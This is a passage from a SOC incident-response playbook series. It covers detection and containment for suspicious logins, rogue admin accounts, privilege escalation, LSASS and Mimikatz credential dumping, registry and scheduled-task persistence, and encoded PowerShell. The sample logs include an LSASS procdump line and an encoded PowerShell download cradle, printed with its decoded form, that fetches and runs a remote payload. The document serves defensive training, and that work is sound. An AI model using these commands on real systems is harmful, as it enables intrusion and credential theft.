- Applies To: VPN, O365, Cloud IAM, Internet Banking Admin, SaaS Applications
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Suspicious Authentication / Potential Account Takeover

2. Threat Description

An attacker logs in using valid stolen credentials during off-hours such as:

- Late night
- Early morning
- Weekends or public holidays

The objective is to:

- Avoid user detection
- Reduce SOC staffing coverage
- Perform reconnaissance quietly

This technique relies on blending into low-activity periods, not bypassing authentication controls.

3. Why This Detection Matters in 2026

In 2026, attackers deliberately align activity with:

- Reduced SOC staffing
- Slower response times
- Lower peer activity

Off-hours access is commonly observed before:

- Privilege escalation
- Data staging
- Persistence creation
- Ransomware execution

This is a timing-based stealth technique, not a technical exploit.

4. Detection Logic

Trigger alert when:

- Successful login occurs outside defined business hours
- Successful login occurs on weekend or holiday
- Successful login occurs during abnormal user activity window

Increase severity if:

- Account has no historical off-hours activity
- Login originates from new IP, device or location
- Login source is TOR, VPN or hosting ASN
- Login followed by sensitive application access

5. Log Data

Identity Provider Logs

2026-07-21 03:14:09 | LOGIN_SUCCESS | user=hafiz.m | ip=103.86.44.21 | app=AzureAD

2026-07-21 03:14:12 | LOGIN_SUCCESS | user=hafiz.m | device=NewDevice |
location=Unknown

VPN Gateway Logs

2026-07-21 03:15:01 | AUTH_SUCCESS | user=hafiz.m | src_ip=103.86.44.21 | device=VPN

No prior history of off-hours access observed.

6. Possible Attack Scenarios

Scenario A – Stolen Credentials with Timing Evasion

Attacker uses valid credentials during low-activity periods to reduce the chance of detection.

Scenario B – Post-Phishing Silent Entry

Credentials harvested via phishing are tested and used outside business hours for initial foothold.

Scenario C – Pre-Ransomware Recon

Attacker logs in quietly to enumerate systems, roles and data before launching disruptive actions later.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is off-hours access normal for this user
- Has the user logged in at this time before
- Is the device or IP new
- Any failed logins before this success

Immediate Checks

- User activity baseline
- Source IP reputation
- Device fingerprint history
- Business calendar (weekend, holiday)

Decision

- Known behaviour → Close
- Unknown behaviour → Escalate to L2
- Combined with other alerts → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Review post-login activity
- Check access to sensitive systems
- Check role, permission or group changes
- Check OAuth, API tokens, mailbox rules

High-Risk Indicators

- Off-hours + new device
- Off-hours + privileged account
- Off-hours + data access
- Off-hours + TOR/VPN

8. Incident Escalation Criteria

Escalate to Incident if:

- User denies logging in
- Off-hours login combined with new device or IP
- Sensitive systems accessed

Escalate to Critical if:

- Admin or service account involved
- Persistence mechanisms created
- Data access or export detected
- Lateral movement observed

9. Containment Actions

Immediate SOC Actions

- Force session termination
- Disable affected account
- Revoke active sessions and tokens

Extended IR Actions

- Reset password
- Reset MFA enrolment
- Notify user and management
- Preserve logs for investigation

10. Recovery & Validation

- Re-enable account after validation
- Confirm MFA enforcement
- Confirm no role or permission changes
- Confirm no OAuth, API or mailbox abuse
- Confirm no abnormal data access

11. Prevention & Hardening

Control: Conditional Access

Action: Restrict off-hours access for sensitive roles

Control: Behaviour Analytics

Action: Alert on time-of-day anomalies

Control: MFA

Action: Enforce strong MFA for all remote access

Control: SOC Coverage

Action: Ensure off-hours monitoring

12. Mapping to NIST Incident Response

- Preparation: Access policies and baselining
- Detection: Off-hours login alert
- Analysis: Behaviour correlation
- Containment: Session termination
- Eradication: Credential reset
- Recovery: Controlled re-access
- Lessons Learned: Time-based policy tuning

13. SOC Perspective

- Off-hours access is where attackers feel safest.
- If the login time feels wrong, assume the access might be wrong too.

[PERSISTENCE] PLAYBOOK 6: NEW ADMIN ACCOUNT CREATED – PRIVILEGED PERSISTENCE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-006
- Use Case Name: New Admin Account Created
- MITRE ATT&CK Tactic: Persistence
- Technique ID: T1136
- Technique Name: Create Account
- Threat Category: Privilege Persistence / Identity Compromise
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: Active Directory, Local Admin, Cloud IAM, SaaS Admin Portals
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Privileged Account Compromise

2. Threat Description

An attacker creates a new administrative account after gaining initial access.

This account is often:

- Generic looking (e.g. backup_admin, svc_update)
- Hidden among service accounts
- Given broad or inherited privileges

The purpose is long-term persistence that survives password resets and user remediation. This indicates the attacker is planning to stay.

3. Why This Detection Matters in 2026

In 2026, attackers prefer identity persistence over malware persistence.

Admin account creation allows them to:

- Return at any time
- Bypass user password resets
- Disable security controls
- Escalate later to full domain compromise

If this alert is confirmed, assume attacker intent is advanced.

4. Detection Logic

Trigger alert when:

- A new account is created with admin or privileged roles
- A standard user creates another user account
- Admin account created outside change window
- Account name matches service or generic patterns

Increase severity if:

- Creator account is compromised
- Account is hidden or disabled by default
- No associated change request
- Created during off-hours

5. Log Data

Active Directory Logs

2026-08-03 01:42:11 | USER_CREATED | target=svc-backup01 | creator=nadia.r | groups=Domain Admins

2026-08-03 01:42:14 | GROUP_ADD | target=svc-backup01 | group=Domain Admins

Cloud IAM Logs

2026-08-03 01:43:02 | IAM_USER_CREATE | user=cloud-admin-temp | role=GlobalAdmin

Account created outside business hours with no approval record.

6. Possible Attack Scenarios

Scenario A – Post-Compromise Persistence

After initial access, attacker creates an admin account to retain access after cleanup.

Scenario B – Disguised Service Account

Attacker creates an account that looks like a system or service identity to avoid attention.

Scenario C – Pre-Ransomware Setup

Admin account created to disable backups, EDR or prepare for domain-wide impact.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Who created the account
- When was it created
- Is there a change request
- Is the account already used

Immediate Checks

- Account creator identity
- Group membership
- Creation time
- Account naming pattern

Decision

- Approved change → Close
- Unapproved privileged account → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Review creator account activity
- Check login activity of new admin account
- Check other persistence mechanisms
- Check recent privilege escalations

High-Risk Indicators

- Creation outside business hours
- Generic or service-like name
- Immediate login after creation
- Creator account already suspicious

8. Incident Escalation Criteria

Always escalate to Incident when:

- Unapproved admin account created
- Admin account created by compromised user

Escalate to Crisis if:

- Multiple admin accounts created
- Domain Admin or Global Admin involved
- Security controls modified after creation

9. Containment Actions

Immediate SOC Actions

- Disable newly created admin account
- Remove from privileged groups
- Terminate active sessions

Extended IR Actions

- Reset credentials of creator account
- Review admin audit logs (30–90 days)
- Preserve logs for forensics
- Notify IAM and management teams

10. Recovery & Validation

- Confirm account deletion or secure rebuild
- Confirm no remaining hidden admin accounts
- Confirm no GPO, IAM or role manipulation
- Confirm no scheduled tasks or services created

11. Prevention & Hardening

Control: Privileged Access Management

Action: Enforce just-in-time admin access

Control: Change Management

Action: Require approval for admin creation

Control: Monitoring

Action: Alert on any admin account creation

Control: Naming Standards

Action: Flag service-like names automatically

12. Mapping to NIST Incident Response

- Preparation: IAM governance and PAM
- Detection: Admin account creation alert
- Analysis: Privilege and creator review
- Containment: Account disable
- Eradication: Credential rotation
- Recovery: Controlled admin access

- Lessons Learned: IAM policy tightening

13. SOC Perspective

- When attackers create accounts, they are no longer testing you.
- They are building a home inside your environment.
- Treat every unapproved admin account as active compromise until proven otherwise.

BYZINMER

[PRIVILEGE ESCALATION] PLAYBOOK 7:

PRIVILEGED ROLE ESCALATION – EXPLOITATION FOR PRIVILEGE ESCALATION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-007
- Use Case Name: Privileged Role Escalation
- MITRE ATT&CK Tactic: Privilege Escalation
- Technique ID: T1068
- Technique Name: Exploitation for Privilege Escalation
- Threat Category: Privilege Abuse / System Compromise
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: Active Directory, Windows, Linux, Cloud IAM, Virtualised Environments
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Confirmed Privilege Escalation

2. Threat Description

An attacker escalates privileges from a standard user to administrator, root or equivalent high-privilege role.

This is achieved through:

- Exploitation of OS or application vulnerabilities
- Abuse of misconfigured permissions
- Token manipulation or group membership abuse

Once escalation succeeds, the attacker gains full control of the system or environment. This marks a major transition in the attack lifecycle.

3. Why This Detection Matters in 2026

In 2026, privilege escalation is the gateway to full compromise.

After escalation, attackers can:

- Disable security controls
- Create new admin accounts
- Access credentials and secrets

- Move laterally at scale

If privilege escalation is confirmed, containment must be immediate.

4. Detection Logic

Trigger alert when:

- User role changes from standard to admin
- Process executes with elevated privileges unexpectedly
- Exploit activity detected against known privilege escalation CVEs
- Admin privileges granted without approval

Increase severity if:

- Escalation occurs shortly after suspicious login
- Exploit originates from non-admin account
- Account escalated is service or cloud identity
- Escalation occurs outside change window

5. Log Data

Windows Security Logs

2026-09-12 00:27:14 | PRIV_ESC | user=faiz.r | from=User | to=Administrator | host=FIN-APP-02

2026-09-12 00:27:16 | PROCESS_START | process=exploit.exe | integrity=High | parent=cmd.exe

Linux Audit Logs

2026-09-12 00:28:03 | SUDO | user=faiz.r | command=/bin/bash | result=Success

Cloud IAM Logs

2026-09-12 00:29:41 | ROLE_UPDATE | user=faiz.r | role=GlobalAdmin | actor=faiz.r

No approval record found.

6. Possible Attack Scenarios

Scenario A – Exploit-Based Escalation

Attacker exploits a local vulnerability to gain SYSTEM or root access.

Scenario B – Misconfiguration Abuse

Weak sudo rules or IAM misconfigurations allow privilege escalation without exploits.

Scenario C – Post-ATO Privilege Expansion

After account takeover, attacker escalates privileges to maintain control and expand access.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which account was escalated
- Was approval or change request present
- What triggered the escalation
- Any suspicious login before escalation

Immediate Checks

- Account role history
- Process execution logs
- Source IP and device context
- Time-of-day anomaly

Decision

- Approved change → Close
- Unapproved escalation → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Identify escalation method
- Check for exploit indicators
- Review privilege usage post-escalation
- Check for new accounts or persistence

High-Risk Indicators

- Escalation after suspicious login
- Self-initiated role elevation
- Multiple systems escalated
- Security tools disabled after escalation

8. Incident Escalation Criteria

Always escalate to Incident when:

- Unapproved privilege escalation detected
- Exploit-based escalation confirmed

Escalate to Crisis if:

- Domain Admin or Global Admin obtained
- Multiple hosts affected
- Security controls modified

9. Containment Actions

Immediate SOC Actions

- Revoke elevated privileges
- Disable affected account
- Terminate active sessions

Extended IR Actions

- Isolate affected host
- Patch exploited vulnerabilities
- Reset credentials
- Preserve forensic evidence

10. Recovery & Validation

- Restore correct privilege levels
- Verify no additional accounts created
- Verify no persistence mechanisms added
- Verify security tools operational

11. Prevention & Hardening

Control: Patch Management

Action: Rapid patching of privilege escalation CVEs

Control: Least Privilege

Action: Remove standing admin rights

Control: Monitoring

Action: Alert on any privilege elevation

Control: PAM

Action: Enforce just-in-time admin access

12. Mapping to NIST Incident Response

- Preparation: Patch and privilege governance
- Detection: Privilege escalation alert
- Analysis: Exploit and role review
- Containment: Privilege revocation
- Eradication: Vulnerability remediation
- Recovery: Controlled access restoration
- Lessons Learned: Hardening and monitoring updates

13. SOC Perspective

- Privilege escalation is the point where attackers stop asking and start taking.
- Once this happens, assume full compromise is possible and act accordingly.
- Speed, isolation and verification are everything.

[CREDENTIAL ACCESS] PLAYBOOK 8: LSASS MEMORY ACCESS – CREDENTIAL DUMPING

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-008
- Use Case Name: LSASS Memory Access
- MITRE ATT&CK Tactic: Credential Access
- Technique ID: T1003.001
- Technique Name: LSASS Memory
- Threat Category: Credential Theft / Post-Exploitation
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: Windows Endpoints, Servers, Active Directory
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Confirmed Credential Compromise

2. Threat Description

An attacker accesses the memory of the Local Security Authority Subsystem Service (LSASS) process to extract credentials.

This may include:

- NTLM hashes
- Kerberos tickets
- Plaintext passwords (in some cases)

This activity usually occurs after privilege escalation and enables:

- Lateral movement
- Pass-the-Hash attacks
- Domain compromise

This is a high-confidence malicious action.

3. Why This Detection Matters in 2026

LSASS dumping remains one of the most reliable ways attackers expand access.

In 2026, attackers:

- Avoid noisy tools

- Use built-in Windows APIs
- Abuse legitimate system processes
- Dump credentials quickly, then move laterally

If LSASS access is detected, assume credential theft has already occurred.

4. Detection Logic

Trigger alert when:

- Non-system process accesses LSASS memory
- LSASS handle opened with read permissions
- Memory dump files created related to LSASS
- Credential dumping APIs invoked

Increase severity if:

- Access performed by non-admin user (exploit indicator)
- Access occurs shortly after privilege escalation
- Dump followed by lateral authentication attempts
- Tool execution linked to known dump behaviour

5. Log Data

EDR Process Telemetry

2026-10-05 01:14:22 | PROCESS_ACCESS | source=procdump.exe | target=lsass.exe | access=ReadMemory

2026-10-05 01:14:23 | FILE_CREATE | file=C:\Temp\lsass.dmp | process=procdump.exe

Windows Security Logs

2026-10-05 01:14:21 | PROCESS_START | process=procdump.exe | user=svc-backup01 | integrity=High

Activity indicates credential dumping in progress.

6. Possible Attack Scenarios

Scenario A – Post-Privilege Escalation Credential Harvest

Attacker dumps LSASS after gaining admin or SYSTEM privileges to harvest credentials.

Scenario B – Lateral Movement Preparation

Dumped hashes are used to authenticate to other systems using pass-the-hash techniques.

Scenario C – Pre-Domain Compromise

LSASS dump performed to obtain domain admin or service account credentials.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which process accessed LSASS
- Which account executed the process
- Was the access approved or expected
- Any prior privilege escalation alerts

Immediate Checks

- Process command line
- User privilege level
- EDR alert context
- Recent authentication activity

Decision

- Approved admin action → Escalate to L2
- Unapproved access → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Identify dumping technique used
- Check for credential reuse attempts
- Check lateral movement indicators
- Check for persistence creation

High-Risk Indicators

- Dump followed by network authentication
- Dump performed by service or newly created admin account
- Dump outside business hours

8. Incident Escalation Criteria

Always escalate to Incident when:

- LSASS memory access is unapproved
- Credential dump file detected

Escalate to Crisis if:

- Domain controller involved
- Multiple hosts affected
- Subsequent lateral movement observed

9. Containment Actions

Immediate SOC Actions

- Isolate affected host
- Disable dumping account
- Terminate suspicious processes

Extended IR Actions

- Reset passwords for affected accounts
- Invalidate Kerberos tickets
- Force logoff across domain
- Preserve forensic evidence

10. Recovery & Validation

- Rebuild or reimage affected system if required
- Confirm no further credential dumping
- Confirm no lateral movement continues
- Validate credential hygiene across environment

11. Prevention & Hardening

Control: LSASS Protection

Action: Enable Credential Guard / RunAsPPL

Control: EDR

Action: Block LSASS access attempts

Control: Privilege Management

Action: Limit admin access

Control: Monitoring

Action: Alert on LSASS handle access

12. Mapping to NIST Incident Response

- Preparation: Endpoint hardening
- Detection: LSASS access alert
- Analysis: Credential exposure assessment
- Containment: Host isolation
- Eradication: Credential reset
- Recovery: Secure system restoration
- Lessons Learned: Endpoint control improvements

13. SOC Perspective

- LSASS dumping means the attacker is no longer guessing.
- They are stealing trust directly from the system.
- Treat this as a confirmed breach, not a warning.

[CREDENTIAL ACCESS] PLAYBOOK 9: MIMIKATZ EXECUTION – OS CREDENTIAL DUMPING

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-009
- Use Case Name: Mimikatz Execution
- MITRE ATT&CK Tactic: Credential Access
- Technique ID: T1003
- Technique Name: OS Credential Dumping
- Threat Category: Credential Theft / Post-Exploitation
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: Windows Endpoints, Servers, Domain Controllers
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Confirmed Credential Theft

2. Threat Description

An attacker executes Mimikatz or Mimikatz-like tooling to extract credentials directly from the operating system.

This includes:

- Plaintext passwords
- NTLM password hashes
- Kerberos tickets and session keys

Execution usually occurs after local admin or SYSTEM access is achieved and indicates active post-exploitation.

This is not reconnaissance. This is credential compromise in progress.

3. Why This Detection Matters in 2026

In 2026, attackers still rely on Mimikatz techniques, but often:

- Rename binaries
- Reflectively load into memory
- Use built-in Windows APIs to replicate functionality

Regardless of tooling, the behaviour is consistent.

Once Mimikatz activity is detected, assume:

- Credentials are already stolen
- Lateral movement will follow quickly
- Domain compromise is possible

4. Detection Logic

Trigger alert when:

- Known Mimikatz binaries or signatures detected
- Credential dumping commands executed in memory
- Processes request sensitive credential APIs
- Suspicious memory access patterns observed

Increase severity if:

- Execution occurs shortly after LSASS access
- Binary executed from temp or user directories
- Execution by newly created admin account
- Execution outside business hours

5. Log Data

EDR Detection Logs

2026-10-18 02:09:31 | MALWARE_DETECTED | process=mimi.exe | user=svc-backup01 | host=DC-01

2026-10-18 02:09:34 | MEMORY_SUSPICIOUS | process=mimi.exe | behavior=CredentialDumping

Process Execution Logs

2026-10-18 02:09:28 | PROCESS_START | process=mimi.exe | parent=cmd.exe | integrity=High

Execution context confirms post-exploitation credential theft.

6. Possible Attack Scenarios

Scenario A – Interactive Post-Exploitation

Attacker runs Mimikatz manually after privilege escalation to extract credentials.

Scenario B – Automated Toolchain

Mimikatz executed as part of a scripted attack chain immediately after LSASS dumping.

Scenario C – Domain Expansion

Extracted credentials used to authenticate to other systems or domain controllers.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Was Mimikatz execution blocked or successful
- Which account executed the tool
- Which host is affected
- Any prior privilege escalation alerts

Immediate Checks

- EDR alert severity
- Process execution path
- User privilege level
- Recent authentication events

Decision

- Blocked but executed → Escalate to L2
- Successful execution → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Identify credential types exposed
- Check for lateral authentication attempts
- Check DC access or replication activity
- Check for persistence mechanisms

High-Risk Indicators

- Execution on domain controller
- Execution by service or admin account
- Immediate network authentication after execution

8. Incident Escalation Criteria

Always escalate to Incident when:

- Mimikatz execution detected
- Credential dumping behaviour observed

Escalate to Crisis if:

- Domain controller involved
- Multiple hosts affected
- DCSync or Golden Ticket patterns follow

9. Containment Actions

Immediate SOC Actions

- Isolate affected host
- Terminate malicious processes
- Disable executing account

Extended IR Actions

- Reset all exposed credentials
- Rotate service account passwords
- Invalidate Kerberos tickets
- Preserve forensic artefacts

10. Recovery & Validation

- Rebuild affected systems if required
- Confirm no further credential dumping
- Validate authentication integrity across environment
- Monitor for reuse of compromised credentials

11. Prevention & Hardening

Control: EDR

Action: Block credential dumping behaviour

Control: LSASS Protection

Action: Enable Credential Guard / RunAsPPL

Control: Privilege Management

Action: Remove standing admin access

Control: Monitoring

Action: Alert on suspicious credential API usage

12. Mapping to NIST Incident Response

- Preparation: Endpoint and identity hardening
- Detection: Mimikatz behaviour alert
- Analysis: Credential exposure assessment
- Containment: Host isolation
- Eradication: Credential rotation
- Recovery: Secure system rebuild
- Lessons Learned: Endpoint and IAM improvements

13. SOC Perspective

- Mimikatz execution means the attacker is harvesting trust at scale.
- At this point, containment is not optional. Speed is everything.
- Assume credentials are compromised until proven otherwise.

[PERSISTENCE] PLAYBOOK 10: REGISTRY RUN KEY ADDED – AUTO-START PERSISTENCE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-010
- Use Case Name: Registry Run Key Added
- MITRE ATT&CK Tactic: Persistence
- Technique ID: T1547.001
- Technique Name: Registry Run KeysThreat Category: Persistence / Post-Exploitation
- Severity (Default): High
- Escalation Severity: Critical (if combined with credential theft or C2 activity)
- Applies To: Windows Endpoints, Servers, VDI
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Confirmed Persistence Mechanism

2. Threat Description

An attacker modifies Windows Run / RunOnce registry keys to ensure malware or a backdoor executes automatically on system startup or user logon.

Common registry paths abused include:

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

This allows the attacker to survive reboots and regain access even after sessions are terminated.

3. Why This Detection Matters in 2026

In 2026, attackers prefer low-noise persistence over obvious services or scheduled tasks.

Registry Run keys are:

- Simple
- Reliable
- Often overlooked
- Effective against basic remediation

If this is detected after credential dumping or privilege escalation, it indicates the attacker is locking in long-term access.

4. Detection Logic

Trigger alert when:

- New value added to Run or RunOnce keys
- Existing Run key modified to point to new executable
- Run key references executable in temp or user directory

Increase severity if:

- Executable is unsigned
- Executable located in AppData, Temp or ProgramData
- Change performed by non-admin user with elevated rights
- Change occurs outside business hours

5. Log Data

Registry Monitoring Logs

2026-11-02 01:52:19 | REG_ADD |
key=HKCU\Software\Microsoft\Windows\CurrentVersion\Run | value=UpdaterSvc |
data=C:\Users\Public\update.exe | user=svc-backup01

EDR File Telemetry

2026-11-02 01:52:18 | FILE_CREATE | file=C:\Users\Public\update.exe | signer=Unsigned

Persistence mechanism established successfully.

6. Possible Attack Scenarios

Scenario A – Post-Credential Theft Persistence

After dumping credentials, attacker installs a Run key to re-enter the system if access is lost.

Scenario B – Lightweight Backdoor

Malware uses registry autorun instead of services to avoid detection by service monitoring.

Scenario C – Pre-Ransomware Staging

Persistence established to ensure access before launching encryption or destructive actions later.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which registry key was modified
- What executable is referenced
- Is the file legitimate or signed
- Who made the change

Immediate Checks

- File path and hash
- Digital signature status
- User context
- Recent alerts on the same host

Decision

- Approved software change → Escalate to L2
- Unapproved persistence → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Analyse referenced executable
- Check command-and-control indicators
- Check for additional persistence methods
- Review timeline for privilege escalation or credential theft

High-Risk Indicators

- Run key points to temp or user directory
- Unsigned executable
- Created shortly after admin activity
- Multiple persistence methods detected

8. Incident Escalation Criteria

Escalate to Incident when:

- Unapproved Run key added
- Executable confirmed malicious

Escalate to Critical if:

- Combined with LSASS dumping or Mimikatz
- Backdoor communicates externally
- Multiple systems affected

9. Containment Actions

Immediate SOC Actions

- Disable or remove registry Run entry
- Quarantine referenced executable
- Isolate host if C2 suspected

Extended IR Actions

- Search environment for similar Run keys
- Reset credentials used on affected host
- Preserve registry and file artefacts

10. Recovery & Validation

Confirm Run keys are clean

- Confirm no additional persistence exists
- Confirm system reboot does not trigger malware
- Monitor host for re-infection attempts

11. Prevention & Hardening

Control: Registry Monitoring

Action: Alert on Run key modifications

Control: Application Control

Action: Block unsigned executables from user paths

Control: EDR

Action: Detect persistence behaviour

Control: Least Privilege

Action: Prevent standard users from modifying autorun keys

12. Mapping to NIST Incident Response

- Preparation: Endpoint hardening
- Detection: Registry persistence alert
- Analysis: Executable and timeline review

- Containment: Persistence removal
- Eradication: Malware removal
- Recovery: Clean reboot validation
- Lessons Learned: Persistence monitoring improvement

13. SOC Perspective

- Persistence means the attacker is planning to return.
- If you remove access but miss persistence, you have only paused the attack.
- Always hunt for how they plan to come back.

[PERSISTENCE] PLAYBOOK 11: SCHEDULED TASK CREATED – LONG-TERM PERSISTENCE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-011
- Use Case Name: Scheduled Task Created
- MITRE ATT&CK Tactic: Persistence
- Technique ID: T1053
- Technique Name: Scheduled Task
- Threat Category: Persistence / Stealth Re-Execution
- Severity (Default): High
- Escalation Severity: Critical (if task executes malicious payload or establishes C2)
- Applies To: Windows Endpoints, Servers, VDI, Jump Hosts
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Persistence Mechanism Detected

2. Threat Description

An attacker creates a scheduled task to ensure malware or a backdoor runs:

- At system startup
- At user logon
- On a fixed schedule (minutes, hours, daily)

Tasks are commonly disguised as:

- Windows update jobs
- Backup or maintenance tasks
- Vendor-looking services

This provides reliable persistence without relying on user interaction.

3. Why This Detection Matters in 2026

In 2026, scheduled tasks are preferred because they:

- Blend into normal system activity
- Survive reboots
- Bypass simple startup-folder monitoring
- Execute with elevated privileges if misconfigured

When detected after credential theft or privilege escalation, this strongly indicates attacker dwell time planning.

4. Detection Logic

Trigger alert when:

- New scheduled task is created
- Existing scheduled task is modified
- Task executes executable from user or temp directories

Increase severity if:

- Task runs as SYSTEM or admin
- Task name mimics system or vendor naming
- Task created outside change window
- Task command references unsigned binaries

5. Log Data

Windows Task Scheduler Logs

2026-11-18 02:11:44 | TASK_CREATED | task=WindowsUpdateSvc | run_as=SYSTEM | creator=svc-backup01

2026-11-18 02:11:45 | TASK_ACTION | task=WindowsUpdateSvc | action=C:\ProgramData\winupd.exe

EDR File Telemetry

2026-11-18 02:11:42 | FILE_CREATE | file=C:\ProgramData\winupd.exe | signer=Unsigned

Task created outside business hours with SYSTEM privileges.

6. Possible Attack Scenarios

Scenario A – Post-Exploitation Persistence

After gaining admin access, attacker creates a scheduled task to guarantee execution after reboot.

Scenario B – Disguised Maintenance Job

Task name and description imitate legitimate OS or vendor processes to evade detection.

Scenario C – Pre-Ransomware Foothold

Scheduled task ensures malware survives before encryption or destructive activity is launched later.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Who created the task
- What is the task name and description
- What executable or command is executed
- When does the task run

Immediate Checks

- Task XML or configuration
- Executable path and hash
- User context and privileges
- Recent alerts on the same host

Decision

- Approved maintenance task → Escalate to L2
- Unapproved or suspicious task → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Review task triggers and frequency
- Analyse referenced executable or script
- Check for C2 indicators
- Search for similar tasks across environment

High-Risk Indicators

- Task runs as SYSTEM
- Executable in ProgramData, AppData, Temp
- Unsigned or obfuscated script
- Multiple persistence methods on host

8. Incident Escalation Criteria

Escalate to Incident when:

- Unapproved scheduled task detected
- Task executes suspicious or malicious payload

Escalate to Critical if:

- Task establishes external communication
- Task combined with credential theft
- Multiple hosts affected

9. Containment Actions

Immediate SOC Actions

- Disable or delete scheduled task
- Quarantine referenced executable or script
- Isolate host if outbound communication detected

Extended IR Actions

- Hunt for similar tasks environment-wide
- Reset credentials used on affected host
- Preserve task configuration and binaries

10. Recovery & Validation

- Confirm scheduled task removal
- Confirm no re-creation after reboot
- Confirm no additional persistence mechanisms
- Monitor host for abnormal process execution

11. Prevention & Hardening

Control: Task Scheduler Monitoring

Action: Alert on task creation and modification

Control: Application Control

Action: Block execution from user-writable paths

Control: Privilege Management

Action: Restrict SYSTEM-level task creation

Control: Change Management

Action: Enforce approval for scheduled tasks

12. Mapping to NIST Incident Response

- Preparation: Endpoint governance
- Detection: Scheduled task alert

- Analysis: Task and payload review
- Containment: Task removal
- Eradication: Malware cleanup
- Recovery: Reboot validation
- Lessons Learned: Persistence detection tuning

13. SOC Perspective

- Scheduled tasks are quiet, reliable and trusted by the OS.
- If attackers choose this method, they are planning repeat access, not a quick hit.
- Always ask: “What runs when nobody is watching?”

[DEFENSE EVASION] PLAYBOOK 12: POWERSHELL ENCODED COMMAND – OBFUSCATED MALICIOUS EXECUTION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-012
- Use Case Name: PowerShell Encoded Command
- MITRE ATT&CK Tactic: Defense Evasion
- Technique ID: T1027
- Technique Name: Obfuscated Files or Information
- Threat Category: Execution Evasion / Living-off-the-Land
- Severity (Default): High
- Escalation Severity: Critical (if followed by payload download, C2 or credential theft)
- Applies To: Windows Endpoints, Servers, Jump Hosts, VDI
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Suspicious Execution / Post-Exploitation

2. Threat Description

An attacker executes PowerShell commands encoded in Base64, commonly using the `-EncodedCommand` or `-enc` parameter.

The objective is to:

- Hide the true command content
- Evade simple command-line logging
- Bypass signature-based detection

This technique is frequently used to execute:

- Payload download cradles
- In-memory malware
- Credential dumping scripts
- C2 beacons

This is intentional obfuscation, not normal administration.

3. Why This Detection Matters in 2026

In 2026, PowerShell remains one of the most abused built-in tools.

Attackers prefer encoded commands because they:

- Avoid plain-text detection rules
- Blend into legitimate administrative usage
- Execute entirely in memory
- Chain easily into other attack stages

Encoded PowerShell is often the bridge between initial access and full compromise.

4. Detection Logic

Trigger alert when:

- PowerShell executed with -EncodedCommand or -enc
- Base64 strings passed as command arguments
- PowerShell launched by unusual parent process
- PowerShell executed from user context unexpectedly

Increase severity if:

- Command decodes to network activity
- Command downloads remote content
- Command launches secondary processes
- Execution occurs outside business hours

5. Log Data

Process Execution Logs

2026-12-04 01:36:12 | PROCESS_START | process=powershell.exe |

command=powershell.exe -enc

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBIAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=

Decoded content:

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/payload.ps1')

Clear evidence of malicious execution intent.

6. Possible Attack Scenarios

Scenario A – Payload Delivery

Encoded PowerShell used to download and execute a second-stage payload from an attacker-controlled server.

Scenario B – In-Memory Malware Execution

PowerShell executes obfuscated scripts entirely in memory to avoid disk-based detection.

Scenario C – Post-Credential Theft Expansion

After gaining credentials, attacker uses encoded PowerShell to deploy tools across the environment.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Was the command decoded
- What does the decoded command do
- Who executed the command
- What process launched PowerShell

Immediate Checks

- Command-line arguments
- Parent process
- User privilege level
- Execution time and host role

Decision

- Legitimate admin script → Escalate to L2
- Obfuscated malicious logic → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Decode Base64 command
- Identify network indicators
- Check file and process creation
- Check for lateral movement

High-Risk Indicators

- IEX or Invoke-Expression usage
- DownloadString or WebRequest usage
- Execution from user endpoint
- Chained PowerShell processes

8. Incident Escalation Criteria

Escalate to Incident when:

- Encoded PowerShell executes malicious logic
- Payload download or execution observed

Escalate to Critical if:

- Combined with credential theft
- C2 communication established
- Multiple systems affected

9. Containment Actions

Immediate SOC Actions

- Terminate PowerShell process
- Isolate affected host
- Block associated URLs or IPs

Extended IR Actions

- Search environment for similar commands
- Reset credentials used on affected host
- Preserve decoded scripts and logs

10. Recovery & Validation

- Confirm no additional PowerShell persistence
